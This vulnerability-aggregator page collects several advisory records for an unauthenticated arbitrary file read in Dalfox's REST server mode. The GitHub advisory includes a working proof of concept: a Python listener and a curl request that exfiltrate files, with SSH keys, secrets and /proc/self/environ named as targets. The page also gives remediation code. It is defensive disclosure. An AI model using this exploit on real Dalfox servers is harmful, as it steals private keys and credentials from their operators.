Dalfox: Unauthenticated Arbitrary File Read with Out-of-Band Exfiltration via `custom-payload-file` in Dalfox Server Mode

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, when dalfox is run in REST API server mode, the custom-payload-file field in model.Options is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through dalfox.Initialize into the scan engine. The engine passes the value to voltFile.ReadLinesOrLiteral, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic. This vulnerability is fixed in 2.13.0.

Source published

27 May 2026 17:35:02 UTC

Source modified

27 May 2026 18:00:56 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, when dalfox is run in REST API server mode, the custom-payload-file field in model.Options is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through dalfox.Initialize into the scan engine. The engine passes the value to voltFile.ReadLinesOrLiteral, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic. This vulnerability is fixed in 2.13.0.

Source published

May 27, 2026, 5:35:02 PM (timezone not stated)

Source modified

May 27, 2026, 6:00:56 PM (timezone not stated)

Observed here

7 Nov 2026 10:33:23 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, when dalfox is run in REST API server mode, the custom-payload-file field in model.Options is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through dalfox.Initialize into the scan engine. The engine passes the value to voltFile.ReadLinesOrLiteral, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic. This vulnerability is fixed in 2.13.0.

Source published

27 May 2026 18:16:24 UTC

Source modified

26 Oct 2026 11:10:00 UTC

Observed here

27 Oct 2026 11:12:23 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

## Summary When dalfox is run in REST API server mode, the `custom-payload-file` field in `model.Options` is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through `dalfox.Initialize` into the scan engine. The engine passes the value to `voltFile.ReadLinesOrLiteral`, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic. ## Severity **High** (CVSS 3.1: 7.5) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` - **Attack Vector:** Network — server binds to `0.0.0.0:6664` by default; reachable by any network peer. - **Attack Complexity:** Low — no preconditions beyond network access; `skip-discovery` and `param` are both attacker-supplied, so the code path is fully under attacker control. - **Privileges Required:** None — `--api-key` defaults to `""`, so the auth middleware is not registered. - **User Interaction:** None. - **Scope:** Unchanged — the file read and the outbound HTTP exfiltration request both originate from the same dalfox process authority. - **Confidentiality Impact:** High — the attacker can read any file the dalfox process can open: private keys, configuration files containing database credentials, environment files, `/etc/passwd`, etc. - **Integrity Impact:** None — this path is read-only. - **Availability Impact:** None. ## Affected Component - `cmd/server.go` — `init()` (line 51): `--api-key` defaults to `""` — no auth by default - `pkg/server/server.go` — `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != ""` - `pkg/server/server.go` — `postScanHandler()` (lines 173–191): `rq.Options` (including `CustomPayloadFile`) passed to `ScanFromAPI` without sanitization - `lib/func.go` — `Initialize()` (line 117): `CustomPayloadFile` explicitly propagated from caller options - `pkg/scanning/scan.go` — anonymous block (lines 341–368): `voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)` reads file; contents injected into outbound requests ## CWE - **CWE-306**: Missing Authentication for Critical Function - **CWE-73**: External Control of File Name or Path - **CWE-552**: Files or Directories Accessible to External Parties ## Description ### `custom-payload-file` Is Fully Attacker-Controlled `model.Options` exposes `CustomPayloadFile` with a JSON tag: ```go // pkg/model/options.go:33 CustomPayloadFile string `json:"custom-payload-file,omitempty"` ``` `postScanHandler` binds the entire `Req.Options` from the JSON body and passes it directly to `ScanFromAPI`: ```go // pkg/server/server.go:173-191 rq := new(Req) if err := c.Bind(rq); err != nil { ... } go ScanFromAPI(rq.URL, rq.Options, *options, sid) ``` `ScanFromAPI` passes `rqOptions` as `target.Options` to `dalfox.Initialize`: ```go // pkg/server/scan.go:22-27 target := dalfox.Target{ URL: url, Method: rqOptions.Method, Options: rqOptions, } newOptions := dalfox.Initialize(target, target.Options) ``` `Initialize` explicitly copies `CustomPayloadFile` into `newOptions` with no filtering: ```go // lib/func.go:117 "CustomPayloadFile": {&newOptions.CustomPayloadFile, options.CustomPayloadFile}, ``` ### File Read and Exfiltration Path In `pkg/scanning/scan.go`, when the scan engine reaches the custom payload phase, it reads the attacker-specified file path: ```go // pkg/scanning/scan.go:341-366 if (options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"])) && options.CustomPayloadFile != "" { ff, err := voltFile.ReadLinesOrLiteral(options.CustomPayloadFile) if err != nil { printing.DalLog("SYSTEM", "Failed to load custom XSS payload file", options) } else { for _, customPayload := range ff { if customPayload != "" { for k, v := range params { if optimization.CheckInspectionParam(options, k) { ... tq, tm := optimization.MakeRequestQuery(target, k, customPayload, "inHTML"+ptype, "toAppend", encoder, options) query[tq] = tm } } } } } } ``` Each line of the file becomes a payload value embedded in a query parameter of an HTTP request sent to the attacker-controlled target URL. `performScanning` then dispatches every entry in the `query` map via `SendReq`, delivering the file's contents to the attacker's server as the value of the nominated parameter (e.g., `?q=<file-line>`). ### Condition Is Trivially Satisfiable The condition `options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"])` is satisfied by setting `skip-discovery: true` in the JSON request body — a field the attacker fully controls. When `SkipDiscovery` is true, the engine also requires at least one parameter via `UniqParam` (the `-p` flag), which the attacker supplies as `param: ["q"]`. The code then hardcodes `policy["Content-Type"] = "text/html"` and populates `params["q"]` automatically: ```go // pkg/scanning/scan.go:224-240 if len(options.UniqParam) == 0 { return scanResult, fmt.Errorf("--skip-discovery requires parameters to be specified with -p flag") } for _, paramName := range options.UniqParam { params[paramName] = model.ParamResult{ Name: paramName, Type: "URL", Reflected: true, Chars: payload.GetSpecialChar(), } } policy["Content-Type"] = "text/html" ``` Both conditions are fully attacker-controlled through the JSON request body. ### No Defense at Any Layer The same opt-in API key guard from the first finding applies identically here: ```go // pkg/server/server.go:68-70 if options.ServerType == "rest" && options.APIKey != "" { e.Use(apiKeyAuth(options.APIKey, options)) } ``` With the default empty API key, no middleware is installed and every endpoint is unauthenticated. There is no path sanitization, no allowlist, and no `IsAPI` guard around the `CustomPayloadFile` read. ## Proof of Concept ```bash # Step 1 — Attacker-controlled receiver (logs q= parameter to stdout) python3 - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse, parse_qs class H(BaseHTTPRequestHandler): def do_GET(self): q = parse_qs(urlparse(self.path).query).get('q', [''])[0] print("[RECEIVED] q =", q, flush=True) body = b'<html><body>ok</body></html>' self.send_response(200) self.send_header('Content-Type', 'text/html') self.send_header('Content-Length', str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, *a): pass HTTPServer(('127.0.0.1', 18081), H).serve_forever() PY # Step 2 — Start dalfox REST server (default: no API key) go run . server --host 127.0.0.1 --port 16664 --type rest # Step 3 — Exfiltrate /etc/hostname (or any file readable by the dalfox process) curl -s -X POST http://127.0.0.1:16664/scan \ -H 'Content-Type: application/json' \ --data '{ "url": "http://127.0.0.1:18081/?q=test", "options": { "custom-payload-file": "/etc/hostname", "only-custom-payload": true, "skip-discovery": true, "param": ["q"], "use-headless": false, "worker": 1 } }' # Expected output on the receiver (Step 1 terminal): # [RECEIVED] q = myhostname.local # For multi-line files (e.g. /etc/passwd), each line arrives as a separate request ``` No `X-API-KEY` header is required. Replace `/etc/hostname` with any file path accessible to the dalfox process (e.g., `~/.ssh/id_rsa`, `/run/secrets/db_password`, `/proc/self/environ`). ## Impact - **Arbitrary file read** on the dalfox host: any file readable by the dalfox process (SSH private keys, TLS certificates, `.env` files, cloud credential files, `/proc/self/environ`) can be exfiltrated one line at a time. - **No authentication required** under the default configuration. - The exfiltration channel is the dalfox host's own outbound HTTP scan traffic — no inbound connection from the attacker to the dalfox host is needed beyond the initial REST API call. - Combined with the `found-action` RCE finding (separate issue), an attacker could first read `/proc/self/environ` to harvest secrets, then execute commands. ## Recommended Remediation ### Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred) Apply a denylist of fields that should never be accepted from the REST API, regardless of auth state. This protects authenticated deployments against credential-theft or privilege escalation by external API consumers: ```go // pkg/server/server.go — in postScanHandler, before ScanFromAPI: rq.Options.CustomPayloadFile = "" rq.Options.CustomBlindXSSPayloadFile = "" rq.Options.FoundAction = "" rq.Options.FoundActionShell = "" rq.Options.OutputFile = "" rq.Options.HarFilePath = "" ``` ### Option 2: Require `--api-key` at server startup Make authentication mandatory and refuse to start without it: ```go // cmd/server.go — in runServerCmd: if serverType == "rest" && apiKey == "" { fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.") os.Exit(1) } ``` Both options should be applied together. Option 2 prevents unauthenticated access to the API entirely; Option 1 ensures that even trusted API callers cannot leverage the server to read files from the host filesystem. ##Credit Emmanuel David Github:- https://github.com/drmingler

Source published

12 May 2026 15:08:13 UTC

Source modified

25 Jun 2026 18:56:35 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Publisher rating · HIGH

Dalfox Server Mode has an Unauthenticated Arbitrary File Read with Out-of-Band Exfiltration via `custom-payload-file` in github.com/hahwul/dalfox

Source published

25 Jun 2026 18:26:48 UTC

Source modified

25 Jun 2026 18:45:16 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.